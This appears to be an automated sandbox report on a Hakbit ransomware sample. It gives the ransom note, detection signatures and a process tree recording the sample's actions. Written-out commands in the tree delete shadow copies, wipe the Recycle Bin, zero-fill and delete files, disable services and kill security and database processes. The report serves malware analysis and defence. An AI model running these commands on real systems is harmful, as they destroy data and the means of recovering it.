Analysis

  • max time kernel
    102s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2025, 05:15

General

  • Target
    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
  • Size 80KB
  • Sample250514-fx2wpstry2
  • SHA256 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

  • hakbit

Ransom Note
  • To recover your data contact the email below [email protected] Key Identifier: JTCf26yaBFV5MmRkh5Bm6JNID5T6AzT2Xcy3r1uY9QQ0BhXXoH09TKE/Rsxqzzj0qPLM6aL1tSxrk7293DMYyl46YUaLVJxB+3vgV91Cm0PIp10Ww8tuxk6ldDtwI2ezNwec/mxzEu7X49IL+DdTMkDn5byRf0xcw1w5p8G/nqPikFLIE2H1X49kC6ljhcjqK5wBVP/p6c7bpqmwCTnoGLJPsbXLgODqHSx6a3UTZn1LJH07o8cI6oJ8tfQrfpQOCgAA2SDY/M7qigTuHVcjbsSVVWHgTuhNG1aXIV2D+jON+51+sES8QxiZevSrTteC3HZvyMemjDkINpPZJ7SjV6pQlJMqgQlEBDaGzmxaOFGQAVdCF0/YvqCdTAepef7gHcLzM7X4Br7Nvg6IjQMUuWUy0pQM8hBXetoGjVfW66WE2jy46o440JCm3TrfLNE9t0SW1KYi+5PvJuonQvfpyF9sIvQIiR3CLiDtrOYK8gVNZodERrVsRukyVrXg1/DZctVcVp7jdjM0FSyWYNUXh/hbJdhXD1eacCQRarVV4uaAAcQdoSlybTDJDLjZuMxk5Ys+rGt+bbUD4UpHBUvI5XRiiF/WJfQQvtoMwGoIyQ75iXys0gaGQkufk5CqzMQBBWZjEY5NAXbvDViSuN0F9ZQoWFr0LOKkocj49Sped8Y= Number of files that were processed is: 440

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Hakbit family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:1480
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:3196
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:1052
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4340
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4540
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4032
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2256
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqbcoreservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3680
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM firefoxconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3700
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM agntsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3048
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM steam.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3692
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM encsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2340
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM excel.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2544
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM CNTAoSMgr.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1044
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlwriter.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3948
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tbirdconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1180
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbeng50.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1488
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat64.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3856
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocomm.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3836
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM infopath.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4604
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mbamtray.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:636
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM zoolz.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:800
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" IM thunderbird.exe /F
      2⤵
      • Kills process with taskkill
      PID:3572
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbsnmp.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1168
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM xfssvccon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3240
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4772
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM Ntrtscan.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2164
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM isqlplussvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2084
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM onenote.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3972
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM PccNTMon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3668
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msaccess.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3672
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM outlook.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3848
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tmlisten.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2828
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msftesql.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3344
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM powerpnt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1096
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM visio.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1324
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1884
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM winword.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4164
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-nt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM wordpad.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4928
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-opt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4832
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:696
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3876
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1376
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3340
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:920
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:524
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2644
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:5612
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:4296
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3504
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:6972
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
          2⤵
            PID:3688
            • C:\Windows\system32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:2624

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                edbtmp.log

                • Path C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
                • Size 1.3MB
                • SHA256 07c69c77503f0146521624d4beffa637b3a26eab6c4c382c7f37ab893e987f0c
                • MD5 SHA1 SHA512 SSDEEP

                windowsdesktop-runtime-7.0.16-win-x64.msi

                • Path C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
                • Size 28.8MB
                • SHA256 bd6840766242a9f522627a9efd6776f7a931b08a86ff220d34a6b9972f5e9c2e
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
                • Size 804KB
                • SHA256 4435686d2e6cdfc28938fb1f8448cd76e576d39c67eb85c29be0aa4af3f5ac27
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-runtime-6.0.27-win-x64.msi

                • Path C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
                • Size 25.7MB
                • SHA256 78ac3e82c224ee58058d8ef422db115965fb712f34f0481d970f945b4fbacd0c
                • MD5 SHA1 SHA512 SSDEEP

                vc_runtimeAdditional_x86.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
                • Size 180KB
                • SHA256 42c0d87f5e879e3763ea3a655e460d7eb73b37289c0102e4c70a4cd74a0440f9
                • MD5 SHA1 SHA512 SSDEEP

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 13f36ab3dee7b205b0889ae2c4fdc3bc1f3f9c52a5fce32e9859d48200764776
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_tesgd4jp.kee.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tesgd4jp.kee.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                HOW_TO_DECYPHER_FILES.txt

                • Path C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                • Size 828B
                • SHA256 f644c916a671d453e41746a6b3bb13237dd968c19775c67571c69795b73d1779
                • MD5 SHA1 SHA512

                memory/2644-22-0x0000017367080000-0x00000173670A2000-memory.dmp

                memory/3036-2-0x00007FFFF7890000-0x00007FFFF8351000-memory.dmp

                memory/3036-180-0x00007FFFF7890000-0x00007FFFF8351000-memory.dmp

                memory/3036-0-0x00007FFFF7893000-0x00007FFFF7895000-memory.dmp

                memory/3036-1-0x0000000000980000-0x000000000099A000-memory.dmp

                memory/3036-153-0x00007FFFF7893000-0x00007FFFF7895000-memory.dmp

                memory/3036-577-0x00007FFFF7890000-0x00007FFFF8351000-memory.dmp